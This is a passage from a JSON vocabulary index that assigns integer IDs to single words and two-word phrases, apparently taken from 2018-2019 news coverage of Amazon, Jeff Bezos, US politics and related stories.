\"bylines\": 191355,\n  \"disinformation teams\": 191356,\n  \"department little\": 191357,\n  \"2014 cit\": 191358,\n  \"40s\": 191359,\n  \"sent 380\": 191360,\n  \"officials offers\": 191361,\n  \"sectors just\": 191362,\n  \"journalism category\": 191363,\n  \"var n2x\": 191364,\n  \"uphill climb\": 191365,\n  \"enquirer defended\": 191366,\n  \"saw revenue\": 191367,\n  \"asians posted\": 191368,\n  \"edward ruggiero\": 191369,\n  \"married man\": 191370,\n  \"penis pic\": 191371,\n  \"changed course\": 191372,\n  \"free units\": 191373,\n  \"include health\": 191374,\n  \"written new\": 191375,\n  \"recent correspondence\": 191376,\n  \"candice choi\": 191377,\n  \"love affair\": 191378,\n  \"raise questions\": 191379,\n  \"www2 philly\": 191380,\n  \"2017 holiday\": 191381,\n  \"prize winner\": 191382,\n  \"emerging technology\": 191383,\n  \"000 checks\": 191384,\n  \"cheery toronto\": 191385,\n  \"labor negotiations\": 191386,\n  \"old walls\": 191387,\n  \"gop economic\": 191388,\n  \"total breakup\": 191389,\n  \"meetings complain\": 191390,\n  \"incoming house\": 191391,\n  \"aggregated instruments\": 191392,\n  \"populated residential\": 191393,\n  \"touching record\": 191394,\n  \"new republican\": 191395,\n  \"fair peter\": 191396,\n  \"2017 2018\": 191397,\n  \"cuomo showed\": 191398,\n  \"spouse\": 191399,\n  \"improvement assistance\": 191400,\n  \"job ubhi\": 191401,\n  \"packages politico\": 191402,\n  \"hands meeting\": 191403,\n  \"960\": 191404,\n  \"intimate details\": 191405,\n  \"different amazon\": 191406,\n  \"mega retailers\": 191407,\n  \"services helped\": 191408,\n  \"indigenous groups\": 191409,\n  \"leaders trump\": 191410,\n  \"dickerson republican\": 191411,\n  \"nearly decade\": 191412,\n  \"different locations\": 191413,\n  \"inner pot\": 191414,\n  \"roads knocked\": 191415,\n  \"pete wells\": 191416,\n  \"poster used\": 191417,\n  \"depressed cybersecurity\": 191418,\n  \"employment shortages\": 191419,\n  \"mean normally\": 191420,\n  \"div share\": 191421,\n  \"billionaire extramarital\": 191422,\n  \"grand\": 191423,\n  \"today abc\": 191424,\n  \"gloria\": 191425,\n  \"page abramowitz\": 191426,\n  \"steady drumbeat\": 191427,\n  \"youth\": 191428,\n  \"breathing\": 191429,\n  \"caregiver\": 191430,\n  \"comments provide\": 191431,\n  \"financially afloat\": 191432,\n  \"constructor a4ee\": 191433,\n  \"___ airlines\": 191434,\n  \"annual academy\": 191435,\n  \"community tried\": 191436,\n  \"rising feed\": 191437,\n  \"publisher stocking\": 191438,\n  \"playlists\": 191439,\n  \"compulsively\": 191440,\n  \"company broader\": 191441,\n  \"hetu\": 191442,\n  \"launching presidential\": 191443,\n  \"carr chronicles\": 191444,\n  \"giovanni\": 191445,\n  \"taxpayers wisconsin\": 191446,\n  \"man dressed\": 191447,\n  \"primarychallenger\": 191448,\n  \"fcau\": 191449,\n  \"motive noting\": 191450,\n  \"redirect false\": 191451,\n  \"divorce hours\": 191452,\n  \"additionally making\": 191453,\n  \"count ceo\": 191454,\n  \"direct action\": 191455,\n  \"existing players\": 191456,\n  \"support various\": 191457,\n  \"person ansolabehere\": 191458,\n  \"difficult journeys\": 191459,\n  \"singer kelly\": 191460,\n  \"alcoa ceo\": 191461,\n  \"biggest market\": 191462,\n  \"679 630\": 191463,\n  \"giving billion\": 191464,\n  \"62ee8090a867 djax_mobileadserver\": 191465,\n  \"growing companies\": 191466,\n  \"says erections\": 191467,\n  \"epa staff\": 191468,\n  \"really threatening\": 191469,\n  \"unsurprisingly lawyer\": 191470,\n  \"hldgs\": 191471,\n  \"avoid minimize\": 191472,\n  \"bloated\": 191473,\n  \"model registry\": 191474,\n  \"saucy text\": 191475,\n  \"fidelity sound\": 191476,\n  \"movie director\": 191477,\n  \"year program\": 191478,\n  \"committee andrew\": 191479,\n  \"taken direct\": 191480,\n  \"successful heads\": 191481,\n  \"cnn andrew\": 191482,\n  \"billion past\": 191483,\n  \"165 951\": 191484,\n  \"causing huge\": 191485,\n  \"admits saying\": 191486,\n  \"1542171601\": 191487,\n  \"freshman representative\": 191488,\n  \"people maybe\": 191489,\n  \"month corporations\": 191490,\n  \"clip griffeth\": 191491,\n  \"discounting amazon\": 191492,\n  \"bought advertising\": 191493,\n  \"marijuana legalization\": 191494,\n  \"sturdy plastic\": 191495,\n  \"deliveries just\": 191496,\n  \"eisenhower\": 191497,\n  \"great cities\": 191498,\n  \"states amazon\": 191499,\n  \"base pay\": 191500,\n  \"manufacturer\": 191501,\n  \"florence survivors\": 191502,\n  \"significant businesses\": 191503,\n  \"receive update\": 191504,\n  \"destructively unfair\": 191505,\n  \"enquirer jerry\": 191506,\n  \"bowmer\": 191507,\n  \"funds sign\": 191508,\n  \"walmart partners\": 191509,\n  \"study huseman\": 191510,\n  \"citizens immigration\": 191511,\n  \"people overall\": 191512,\n  \"faux\": 191513,\n  \"ross commerce\": 191514,\n  \"enquirer salacious\": 191515,\n  \"matthews host\": 191516,\n  \"journalist\": 191517,\n  \"finalize\": 191518,\n  \"concerning north\": 191519,\n  \"time brian\": 191520,\n  \"flexible work\": 191521,\n  \"shouts ideas\": 191522,\n  \"employers sell\": 191523,\n  \"bishop geekwire\": 191524,\n  \"reluctant\": 191525,\n  \"fear kept\": 191526,\n  \"cadaver dog\": 191527,\n  \"senator maria\": 191528,\n  \"amazon proposal\": 191529,\n  \"envisioning\": 191530,\n  \"logistician\": 191531,\n  \"tourist destinations\": 191532,\n  \"firm canaccord\": 191533,\n  \"survive sanders\": 191534,\n  \"sprees\": 191535,\n  \"sellers rely\": 191536,\n  \"postal issues\": 191537,\n  \"implementing legislation\": 191538,\n  \"cbs virigina\": 191539,\n  \"compiled amazon\": 191540,\n  \"cazzioii\": 191541,\n  \"way past\": 191542,\n  \"shootings longtime\": 191543,\n  \"years reporting\": 191544,\n  \"litigate big\": 191545,\n  \"best cantonese\": 191546,\n  \"gov contracts\": 191547,\n  \"scandal especially\": 191548,\n  \"filled wedding\": 191549,\n  \"usps did\": 191550,\n  \"h6a apply\": 191551,\n  \"contacted schwietzer\": 191552,\n  \"president randy\": 191553,\n  \"cdt\": 191554,\n  \"google services\": 191555,\n  \"interconnection hub\": 191556,\n  \"term problems\": 191557,\n  \"track setting\": 191558,\n  \"incentives governments\": 191559,\n  \"stage performers\": 191560,\n  \"upscale\": 191561,\n  \"instant legal\": 191562,\n  \"unfairly hurting\": 191563,\n  \"kddi corp\": 191564,\n  \"chrysler\": 191565,\n  \"announce record\": 191566,\n  \"asset conversion\": 191567,\n  \"wouldn believe\": 191568,\n  \"say stop\": 191569,\n  \"glutamate potent\": 191570,\n  \"institute khan\": 191571,\n  \"wife beth\": 191572,\n  \"recently joined\": 191573,\n  \"labour practice\": 191574,\n  \"convenience say\": 191575,\n  \"lobbyist related\": 191576,\n  \"gunned\": 191577,\n  \"investor view\": 191578,\n  \"spurious cancer\": 191579,\n  \"current framework\": 191580,\n  \"create internal\": 191581,\n  \"app revenue\": 191582,\n  \"ben protess\": 191583,\n  \"successfully poisoned\": 191584,\n  \"binyamin\": 191585,\n  \"grocery pickup\": 191586,\n  \"democracy joe\": 191587,\n  \"michael rosenwald\": 191588,\n  \"world look\": 191589,\n  \"ometimes\": 191590,\n  \"bad books\": 191591,\n  \"year commerce\": 191592,\n  \"conservative speech\": 191593,\n  \"threshold trump\": 191594,\n  \"materials equipment\": 191595,\n  \"gap debate\": 191596,\n  \"bad guys\": 191597,\n  \"taliban\": 191598,\n  \"trump pals\": 191599,\n  \"income communities\": 191600,\n  \"catch protestors\": 191601,\n  \"doj probe\": 191602,\n  \"cnn ty\": 191603,\n  \"government giveaway\": 191604,\n  \"officers harassing\": 191605,\n  \"246\": 191606,\n  \"memphis max\": 191607,\n  \"private investors\": 191608,\n  \"discover numbers\": 191609,\n  \"place political\": 191610,\n  \"storm caused\": 191611,\n  \"public attacks\": 191612,\n  \"pecker statement\": 191613,\n  \"bezos keeps\": 191614,\n  \"sensitive military\": 191615,\n  \"expected range\": 191616,\n  \"commissioner roger\": 191617,\n  \"hill including\": 191618,\n  \"true vulnerabilities\": 191619,\n  \"sears case\": 191620,\n  \"inc_feature_image_override_position\": 191621,\n  \"controversial comments\": 191622,\n  \"trump economic\": 191623,\n  \"hsi mission\": 191624,\n  \"direct criticism\": 191625,\n  \"glenn kelman\": 191626,\n  \"messages read\": 191627,\n  \"weaponizing journalistic\": 191628,\n  \"story shira\": 191629,\n  \"clinton impeachment\": 191630,\n  \"ethics experts\": 191631,\n  \"blofeldian\": 191632,\n  \"economy wonk\": 191633,\n  \"mccabe confirms\": 191634,\n  \"000 looking\": 191635,\n  \"reportedly secured\": 191636,\n  \"trademark soup\": 191637,\n  \"nicholas sparks\": 191638,\n  \"yes expanding\": 191639,\n  \"trucking contractor\": 191640,\n  \"emily knows\": 191641,\n  \"income spokesperson\": 191642,\n  \"brookline\": 191643,\n  \"underground pedophile\": 191644,\n  \"pocket calculator\": 191645,\n  \"financial management\": 191646,\n  \"soles\": 191647,\n  \"melanija knavs\": 191648,\n  \"hhost\": 191649,\n  \"deal size\": 191650,\n  \"sustainable way\": 191651,\n  \"juan williams\": 191652,\n  \"family business\": 191653,\n  \"kinja deals\": 191654,\n  \"export rules\": 191655,\n  \"mcgregor makes\": 191656,\n  \"geist asked\": 191657,\n  \"usps climb\": 191658,\n  \"facebook cambridge\": 191659,\n  \"corporations characterize\": 191660,\n  \"jimmy van\": 191661,\n  \"attempt blackmail\": 191662,\n  \"virginia fake\": 191663,\n  \"nyse blk\": 191664,\n  \"chasing hope\": 191665,\n  \"convoy\": 191666,\n  \"page greatawakening\": 191667,\n  \"melanija\": 191668,\n  \"rung asking\": 191669,\n  \"228515\": 191670,\n  \"martin press\": 191671,\n  \"causes including\": 191672,\n  \"enabling victims\": 191673,\n  \"environmental deregulation\": 191674,\n  \"foods path\": 191675,\n  \"act impacted\": 191676,\n  \"beijing tariff\": 191677,\n  \"common threads\": 191678,\n  \"pakistani\": 191679,\n  \"ish contest\": 191680,\n  \"heightened trade\": 191681,\n  \"code 202\": 191682,\n  \"manager bernstein\": 191683,\n  \"newsflash andy\": 191684,\n  \"media biz\": 191685,\n  \"trump multiple\": 191686,\n  \"nearly year\": 191687,\n  \"matthew shay\": 191688,\n  \"alt\": 191689,\n  \"va teachers\": 191690,\n  \"size saying\": 191691,\n  \"finance site\": 191692,\n  \"amazon threatened\": 191693,\n  \"battlefield advantage\": 191694,\n  \"implying\": 191695,\n  \"stock jumps\": 191696,\n  \"post criticizing\": 191697,\n  \"needs strategy\": 191698,\n  \"deliveries according\": 191699,\n  \"multinational tech\": 191700,\n  \"bauer penguin\": 191701,\n  \"scott walmart\": 191702,\n  \"trump usps\": 191703,\n  \"toad reference\": 191704,\n  \"prince charles\": 191705,\n  \"sparked bout\": 191706,\n  \"fulfillment transportation\": 191707,\n  \"heated atmosphere\": 191708,\n  \"map shows\": 191709,\n  \"witches indicted\": 191710,\n  \"lauren victoria\": 191711,\n  \"gizmodo positioning\": 191712,\n  \"new ability\": 191713,\n  \"forms amazon\": 191714,\n  \"musical sponsored\": 191715,\n  \"amazon liable\": 191716,\n  \"officials argued\": 191717,\n  \"transportation walk\": 191718,\n  \"judd legum\": 191719,\n  \"interior secretary\": 191720,\n  \"spots read\": 191721,\n  \"encouraging dozens\": 191722,\n  \"wow pic\": 191723,\n  \"storefront fox\": 191724,\n  \"activites\": 191725,\n  \"counterintelligence case\": 191726,\n  \"sen brian\": 191727,\n  \"hap\": 191728,\n  \"montana leads\": 191729,\n  \"widespread opposition\": 191730,\n  \"carnival cruise\": 191731,\n  \"rattle investors\": 191732,\n  \"epiphany\": 191733,\n  \"institute talks\": 191734,\n  \"cashless\": 191735,\n  \"langella judy\": 191736,\n  \"earning record\": 191737,\n  \"political connections\": 191738,\n  \"hope amazon\": 191739,\n  \"math spells\": 191740,\n  \"promises\": 191741,\n  \"medina washington\": 191742,\n  \"hugo ch\\u00e1vez\": 191743,\n  \"ultra elite\": 191744,\n  \"force conduct\": 191745,\n  \"municipalities paid\": 191746,\n  \"exactly depose\": 191747,\n  \"gillespie cleveland\": 191748,\n  \"great colorways\": 191749,\n  \"policy decisions\": 191750,\n  \"card debt\": 191751,\n  \"career program\": 191752,\n  \"dods cloud\": 191753,\n  \"odds heavily\": 191754,\n  \"pass resolution\": 191755,\n  \"nytimes wsjournal\": 191756,\n  \"inventory launched\": 191757,\n  \"entitled brother\": 191758,\n  \"little obvious\": 191759,\n  \"2019 tariffs\": 191760,\n  \"death penalty\": 191761,\n  \"cheddar walmart\": 191762,\n  \"mexican officials\": 191763,\n  \"198\": 191764,\n  \"lehrer looks\": 191765,\n  \"net benefit\": 191766,\n  \"accused sanders\": 191767,\n  \"gorgeous mosaic\": 191768,\n  \"execution lasted\": 191769,\n  \"big users\": 191770,\n  \"897\": 191771,\n  \"carousel domain\": 191772,\n  \"nut job\": 191773,\n  \"postal issue\": 191774,\n  \"parcel carrier\": 191775,\n  \"policies ultimately\": 191776,\n  \"deluxe edition\": 191777,\n  \"discounted parcel\": 191778,\n  \"recessionary periods\": 191779,\n  \"begun working\": 191780,\n  \"vanderbilt slugger\": 191781,\n  \"revealed conversation\": 191782,\n  \"mark levin\": 191783,\n  \"sharebar\": 191784,\n  \"throw new\": 191785,\n  \"households check\": 191786,\n  \"civil government\": 191787,\n  \"amazon ecommerce\": 191788,\n  \"just hand\": 191789,\n  \"insinuated trump\": 191790,\n  \"investment 2018\": 191791,\n  \"kim kardashian\": 191792,\n  \"requested review\": 191793,\n  \"khan amazon\": 191794,\n  \"bury karen\": 191795,\n  \"contained photographs\": 191796,\n  \"divorcing according\": 191797,\n  \"prices based\": 191798,\n  \"technology amazon\": 191799,\n  \"picking robot\": 191800,\n  \"compassion\": 191801,\n  \"washington heir\": 191802,\n  \"businessinsider\": 191803,\n  \"democrat victory\": 191804,\n  \"service click\": 191805,\n  \"safe method\": 191806,\n  \"lauren love\": 191807,\n  \"fiscal watchdogs\": 191808,\n  \"google\": 191809,\n  \"president broward\": 191810,\n  \"googl googl\": 191811,\n  \"1996 johnson\": 191812,\n  \"compiled\": 191813,\n  \"consensual\": 191814,\n  \"aggressive deal\": 191815,\n  \"basic liberties\": 191816,\n  \"compiled list\": 191817,\n  \"denning\": 191818,\n  \"subsidies carlson\": 191819,\n  \"reach europe\": 191820,\n  \"mind pas\": 191821,\n  \"symptom\": 191822,\n  \"state budget\": 191823,\n  \"ken griffin\": 191824,\n  \"ashford\": 191825,\n  \"figure excludes\": 191826,\n  \"merely days\": 191827,\n  \"acquire heptio\": 191828,\n  \"buyback test\": 191829,\n  \"school tasks\": 191830,\n  \"statement concluded\": 191831,\n  \"candidate donald\": 191832,\n  \"mirza\": 191833,\n  \"opposing amazon\": 191834,\n  \"leonard\": 191835,\n  \"valley style\": 191836,\n  \"drugs senate\": 191837,\n  \"brutal killings\": 191838,\n  \"turn suggests\": 191839,\n  \"bayside announced\": 191840,\n  \"150bn\": 191841,\n  \"lightweight phones\": 191842,\n  \"transform\": 191843,\n  \"ellin\": 191844,\n  \"device\": 191845,\n  \"shooting guard\": 191846,\n  \"yorker entitled\": 191847,\n  \"ground ibama\": 191848,\n  \"antipathy\": 191849,\n  \"exceeded everybody\": 191850,\n  \"started charging\": 191851,\n  \"community despite\": 191852,\n  \"507 500\": 191853,\n  \"politicians series\": 191854,\n  \"frozen river\": 191855,\n  \"office think\": 191856,\n  \"providing infrastructure\": 191857,\n  \"usernames\": 191858,\n  \"768bn\": 191859,\n  \"stamp\": 191860,\n  \"pay people\": 191861,\n  \"cavalry\": 191862,\n  \"including 600\": 191863,\n  \"work cooperatively\": 191864,\n  \"york area\": 191865,\n  \"online traditional\": 191866,\n  \"books million\": 191867,\n  \"legislative fixes\": 191868,\n  \"soviet\": 191869,\n  \"order right\": 191870,\n  \"200 jobs\": 191871,\n  \"quinn\": 191872,\n  \"laced\": 191873,\n  \"worked closely\": 191874,\n  \"182\": 191875,\n  \"businesses services\": 191876,\n  \"picker\": 191877,\n  \"sensational tabloid\": 191878,\n  \"state consider\": 191879,\n  \"alleged opposition\": 191880,\n  \"amazon copies\": 191881,\n  \"huge hardships\": 191882,\n  \"court filing\": 191883,\n  \"works projects\": 191884,\n  \"funny jeremy\": 191885,\n  \"wacky omarosa\": 191886,\n  \"treaty reuters\": 191887,\n  \"consumers ny\": 191888,\n  \"metric\": 191889,\n  \"editorial cartoons\": 191890,\n  \"noncooperation agreement\": 191891,\n  \"prominent displayed\": 191892,\n  \"narwhal\": 191893,\n  \"ambassador\": 191894,\n  \"guests karen\": 191895,\n  \"ultimate test\": 191896,\n  \"analysts estimates\": 191897,\n  \"amend\": 191898,\n  \"defray significant\": 191899,\n  \"rival offer\": 191900,\n  \"outside city\": 191901,\n  \"life goal\": 191902,\n  \"talks regret\": 191903,\n  \"home cooking\": 191904,\n  \"wmt surged\": 191905,\n  \"specific industry\": 191906,\n  \"nasty things\": 191907,\n  \"familytravel carnival\": 191908,\n  \"emoji entitled\": 191909,\n  \"shape\": 191910,\n  \"phoney\": 191911,\n  \"cudjo lewis\": 191912,\n  \"complaints caused\": 191913,\n  \"having electronic\": 191914,\n  \"brussels playbook\": 191915,\n  \"additional 100\": 191916,\n  \"officials defended\": 191917,\n  \"mingled\": 191918,\n  \"mistaken according\": 191919,\n  \"000 additional\": 191920,\n  \"norwegian cruise\": 191921,\n  \"bold policy\": 191922,\n  \"raisedthe\": 191923,\n  \"loopholes\": 191924,\n  \"specialist mental\": 191925,\n  \"seen growing\": 191926,\n  \"quarterback\": 191927,\n  \"ck pick\": 191928,\n  \"ruralists\": 191929,\n  \"smash hit\": 191930,\n  \"firm founder\": 191931,\n  \"leave mean\": 191932,\n  \"2010 trump\": 191933,\n  \"photographer don\": 191934,\n  \"basanta adam\": 191935,\n  \"chelsea wolfe\": 191936,\n  \"protector\": 191937,\n  \"putative\": 191938,\n  \"1990s bezos\": 191939,\n  \"main seattle\": 191940,\n  \"verge wrote\": 191941,\n  \"prejudices\": 191942,\n  \"ami soon\": 191943,\n  \"individual fortune\": 191944,\n  \"regularly written\": 191945,\n  \"trump decade\": 191946,\n  \"region trump\": 191947,\n  \"putting hq2\": 191948,\n  \"aaron toso\": 191949,\n  \"sparkle pic\": 191950,\n  \"reported pressure\": 191951,\n  \"rally letter\": 191952,\n  \"socialist bernie\": 191953,\n  \"runtime\": 191954,\n  \"seth king\": 191955,\n  \"publications afp\": 191956,\n  \"business cnbc\": 191957,\n  \"raccoon\": 191958,\n  \"stated goal\": 191959,\n  \"money news\": 191960,\n  \"welch probably\": 191961,\n  \"continue highlighting\": 191962,\n  \"post reported\": 191963,\n  \"regulatory meltdown\": 191964,\n  \"jace crouch\": 191965,\n  \"macro economic\": 191966,\n  \"ross best\": 191967,\n  \"contract negotiations\": 191968,\n  \"rolling papers\": 191969,\n  \"2017 far\": 191970,\n  \"candid unafraid\": 191971,\n  \"proper behavior\": 191972,\n  \"positioning does\": 191973,\n  \"lisa page\": 191974,\n  \"amazon previously\": 191975,\n  \"released recommendations\": 191976,\n  \"big setback\": 191977,\n  \"nigeria frustrated\": 191978,\n  \"measures california\": 191979,\n  \"special ness\": 191980,\n  \"daily inventories\": 191981,\n  \"criticism factored\": 191982,\n  \"year ceo\": 191983,\n  \"wage subsidy\": 191984,\n  \"triumphant return\": 191985,\n  \"simply wanted\": 191986,\n  \"haute\": 191987,\n  \"price sale\": 191988,\n  \"growing pains\": 191989,\n  \"tempore\": 191990,\n  \"report texas\": 191991,\n  \"set fiscal\": 191992,\n  \"gotten lot\": 191993,\n  \"article michelle\": 191994,\n  \"tell maybe\": 191995,\n  \"mars rover\": 191996,\n  \"rates competitors\": 191997,\n  \"release online\": 191998,\n  \"good bit\": 191999,\n  \"shift going\": 192000,\n  \"aws govcloud\": 192001,\n  \"fight colon\": 192002,\n  \"begnaud\": 192003,\n  \"minister 2019\": 192004,\n  \"cerrado biome\": 192005,\n  \"publicly lambasted\": 192006,\n  \"filling positions\": 192007,\n  \"electric monopoly\": 192008,\n  \"mexico drugs\": 192009,\n  \"target amazon\": 192010,\n  \"mandy hall\": 192011,\n  \"order 2018\": 192012,\n  \"denied higher\": 192013,\n  \"general alleges\": 192014,\n  \"regularly ranks\": 192015,\n  \"student\": 192016,\n  \"refugees international\": 192017,\n  \"obama candidacy\": 192018,\n  \"reports saw\": 192019,\n  \"princeton review\": 192020,\n  \"announced earlier\": 192021,\n  \"shelter searching\": 192022,\n  \"img_usrid img_pan_crop\": 192023,\n  \"saudis just\": 192024,\n  \"thinks criticism\": 192025,\n  \"metoo claims\": 192026,\n  \"featuring rowling\": 192027,\n  \"cannabis industry\": 192028,\n  \"549 shares\": 192029,\n  \"know greer\": 192030,\n  \"abnormally fast\": 192031,\n  \"release explicit\": 192032,\n  \"promises including\": 192033,\n  \"hitler\": 192034,\n  \"market stores\": 192035,\n  \"amazon renovation\": 192036,\n  \"software developer\": 192037,\n  \"low costs\": 192038,\n  \"innovative companies\": 192039,\n  \"disappointed tide\": 192040,\n  \"romanoffs available\": 192041,\n  \"107k6\": 192042,\n  \"discount according\": 192043,\n  \"gidley\": 192044,\n  \"officials familiar\": 192045,\n  \"classic hallmarks\": 192046,\n  \"luncheon event\": 192047,\n  \"soho\": 192048,\n  \"billion people\": 192049,\n  \"maintained feud\": 192050,\n  \"direct president\": 192051,\n  \"jeff built\": 192052,\n  \"unravel\": 192053,\n  \"russian hacking\": 192054,\n  \"siblings relationship\": 192055,\n  \"davos canopy\": 192056,\n  \"gouging\": 192057,\n  \"airline washington\": 192058,\n  \"hands crazy\": 192059,\n  \"paper streamlining\": 192060,\n  \"assassination citing\": 192061,\n  \"reigning\": 192062,\n  \"democrats responded\": 192063,\n  \"undersigned organizations\": 192064,\n  \"life fixated\": 192065,\n  \"commerce volumes\": 192066,\n  \"plumer\": 192067,\n  \"ponders\": 192068,\n  \"manipulating lines\": 192069,\n  \"secret millionaire\": 192070,\n  \"investitgator gavin\": 192071,\n  \"running list\": 192072,\n  \"house latest\": 192073,\n  \"inside aws\": 192074,\n  \"transactional mail\": 192075,\n  \"staffing issues\": 192076,\n  \"transitions stacy\": 192077,\n  \"individual reportedly\": 192078,\n  \"b077l6ksgm\": 192079,\n  \"sells technology\": 192080,\n  \"wrongful hold\": 192081,\n  \"final leg\": 192082,\n  \"chose medium\": 192083,\n  \"thestreet trump\": 192084,\n  \"idle time\": 192085,\n  \"enchanted fans\": 192086,\n  \"bright\": 192087,\n  \"house seats\": 192088,\n  \"dems demand\": 192089,\n  \"conservative rulings\": 192090,\n  \"society transgender\": 192091,\n  \"paraphrased washington\": 192092,\n  \"offers pre\": 192093,\n  \"clearly looks\": 192094,\n  \"charlie munger\": 192095,\n  \"r4ee j9x\": 192096,\n  \"work required\": 192097,\n  \"work marketplace\": 192098,\n  \"twitter allegedly\": 192099,\n  \"congressional districts\": 192100,\n  \"merrick garland\": 192101,\n  \"covered wide\": 192102,\n  \"reddit banned\": 192103,\n  \"celebrate trump\": 192104,\n  \"rowan morris\": 192105,\n  \"centre according\": 192106,\n  \"multiple monopolies\": 192107,\n  \"quoted source\": 192108,\n  \"19th amendment\": 192109,\n  \"previously served\": 192110,\n  \"immigration activists\": 192111,\n  \"political bank\": 192112,\n  \"narrow mandate\": 192113,\n  \"le penseur\": 192114,\n  \"gallu 2018\": 192115,\n  \"unique profiles\": 192116,\n  \"shinning\": 192117,\n  \"secures new\": 192118,\n  \"travel cities\": 192119,\n  \"librarian says\": 192120,\n  \"solely focused\": 192121,\n  \"death camps\": 192122,\n  \"burial\": 192123,\n  \"twitters lead\": 192124,\n  \"swap\": 192125,\n  \"contracted\": 192126,\n  \"bezos phone\": 192127,\n  \"criticizing rome\": 192128,\n  \"antitrust grounds\": 192129,\n  \"globes awards\": 192130,\n  \"bezos household\": 192131,\n  \"turkish\": 192132,\n  \"sanchez david\": 192133,\n  \"election question\": 192134,\n  \"unconventional loans\": 192135,\n  \"mcdonalds stock\": 192136,\n  \"fates\": 192137,\n  \"becker threatening\": 192138,\n  \"voice enabled\": 192139,\n  \"ubers\": 192140,\n  \"california posted\": 192141,\n  \"publish lewd\": 192142,\n  \"nosedive\": 192143,\n  \"health scare\": 192144,\n  \"slugger\": 192145,\n  \"granted\": 192146,\n  \"chances bezos\": 192147,\n  \"partisan point\": 192148,\n  \"company sales\": 192149,\n  \"provide investment\": 192150,\n  \"effort putin\": 192151,\n  \"presenting lot\": 192152,\n  \"facing competition\": 192153,\n  \"heavily researched\": 192154,\n  \"including pope\": 192155,\n  \"interview dave\": 192156,\n  \"dot home\": 192157,\n  \"slow moving\": 192158,\n  \"online free\": 192159,\n  \"economic reprisals\": 192160,\n  \"nutty\": 192161,\n  \"feuded specifically\": 192162,\n  \"added anticipation\": 192163,\n  \"second city\": 192164,\n  \"nonprofits based\": 192165,\n  \"bronx boroughs\": 192166,\n  \"photo matt\": 192167,\n  \"arjun panchadar\": 192168,\n  \"install headquarters\": 192169,\n  \"amazon cuomo\": 192170,\n  \"hilariously\": 192171,\n  \"stevens contactus\": 192172,\n  \"app fubotv\": 192173,\n  \"bin salman\": 192174,\n  \"adult issues\": 192175,\n  \"dastin san\": 192176,\n  \"stickier structural\": 192177,\n  \"leaflets gmb\": 192178,\n  \"longstanding prohibition\": 192179,\n  \"office stocking\": 192180,\n  \"bring retribution\": 192181,\n  \"stop book\": 192182,\n  \"pleasantly punitive\": 192183,\n  \"astronaut\": 192184,\n  \"sanders new\": 192185,\n  \"passive player\": 192186,\n  \"cancer\": 192187,\n  \"turn formal\": 192188,\n  \"bolsonaro government\": 192189,\n  \"gated\": 192190,\n  \"content based\": 192191,\n  \"silver\": 192192,\n  \"150 meter\": 192193,\n  \"rolls\": 192194,\n  \"commission determined\": 192195,\n  \"including big\": 192196,\n  \"showed poor\": 192197,\n  \"walmart runs\": 192198,\n  \"money church\": 192199,\n  \"hearts howard\": 192200,\n  \"reception took\": 192201,\n  \"mode using\": 192202,\n  \"buzz\": 192203,\n  \"way straight\": 192204,\n  \"fool asset\": 192205,\n  \"price ticket\": 192206,\n  \"governance asked\": 192207,\n  \"freebeacon\": 192208,\n  \"boston\": 192209,\n  \"mild slowdown\": 192210,\n  \"warned nadler\": 192211,\n  \"appears imminent\": 192212,\n  \"women pecker\": 192213,\n  \"gerard\": 192214,\n  \"alibaba alibabas\": 192215,\n  \"costar group\": 192216,\n  \"addressed donald\": 192217,\n  \"variously\": 192218,\n  \"execution appears\": 192219,\n  \"painful horror\": 192220,\n  \"del toro\": 192221,\n  \"captive audience\": 192222,\n  \"anti monopoly\": 192223,\n  \"called feel\": 192224,\n  \"agency afloat\": 192225,\n  \"trump team\": 192226,\n  \"bs_bullet_primary\": 192227,\n  \"day lives\": 192228,\n  \"partnership opportunities\": 192229,\n  \"embassies\": 192230,\n  \"today schedule\": 192231,\n  \"strict approach\": 192232,\n  \"past jeff\": 192233,\n  \"inquiry dead\": 192234,\n  \"government subsidies\": 192235,\n  \"geraldine\": 192236,\n  \"fave\": 192237,\n  \"day best\": 192238,\n  \"2019 abc\": 192239,\n  \"wine counterfeiting\": 192240,\n  \"palantir data\": 192241,\n  \"administration demanding\": 192242,\n  \"dreidel set\": 192243,\n  \"regularly seeks\": 192244,\n  \"abusing workers\": 192245,\n  \"wayfair introduced\": 192246,\n  \"jshapiro politico\": 192247,\n  \"republicans minority\": 192248,\n  \"project theme\": 192249,\n  \"google highly\": 192250,\n  \"245 billion\": 192251,\n  \"lmt renegotiated\": 192252,\n  \"heavyweights urge\": 192253,\n  \"main risk\": 192254,\n  \"panagora\": 192255,\n  \"accumulated riches\": 192256,\n  \"industry experts\": 192257,\n  \"virtually nonexistent\": 192258,\n  \"amendment\": 192259,\n  \"canada till\": 192260,\n  \"special rate\": 192261,\n  \"populist campaign\": 192262,\n  \"sure aws\": 192263,\n  \"lies\": 192264,\n  \"post company\": 192265,\n  \"leave sen\": 192266,\n  \"000 homes\": 192267,\n  \"correspondent jenna\": 192268,\n  \"deal declare\": 192269,\n  \"suleiman wife\": 192270,\n  \"vietnam street\": 192271,\n  \"jedi winning\": 192272,\n  \"hurd ceo\": 192273,\n  \"china movie\": 192274,\n  \"bills stood\": 192275,\n  \"shunned\": 192276,\n  \"products worth\": 192277,\n  \"lee expertly\": 192278,\n  \"investigating flint\": 192279,\n  \"formative lessons\": 192280,\n  \"dilemma china\": 192281,\n  \"grow increasingly\": 192282,\n  \"good faith\": 192283,\n  \"businesses choose\": 192284,\n  \"employment\": 192285,\n  \"pong pizza\": 192286,\n  \"suntrust\": 192287,\n  \"hart affair\": 192288,\n  \"jberman peerlessmedia\": 192289,\n  \"experts believe\": 192290,\n  \"plugged\": 192291,\n  \"taking magnifying\": 192292,\n  \"florida red\": 192293,\n  \"cordial meeting\": 192294,\n  \"world thestreet\": 192295,\n  \"diego padres\": 192296,\n  \"widely reform\": 192297,\n  \"rigorous coverage\": 192298,\n  \"scum\": 192299,\n  \"suddenly appeared\": 192300,\n  \"brazil supreme\": 192301,\n  \"today governor\": 192302,\n  \"told national\": 192303,\n  \"construct national\": 192304,\n  \"grow abnormally\": 192305,\n  \"train crash\": 192306,\n  \"cramer action\": 192307,\n  \"putin ruthless\": 192308,\n  \"meeting reportedly\": 192309,\n  \"gum drinks\": 192310,\n  \"subscription business\": 192311,\n  \"trump sprout\": 192312,\n  \"carousel__content__item\": 192313,\n  \"taxes citi\": 192314,\n  \"evening bezos\": 192315,\n  \"braintree mayor\": 192316,\n  \"indomitable olive\": 192317,\n  \"heightened criticism\": 192318,\n  \"inflected controversy\": 192319,\n  \"allegedly inspired\": 192320,\n  \"colorado suburban\": 192321,\n  \"submit claims\": 192322,\n  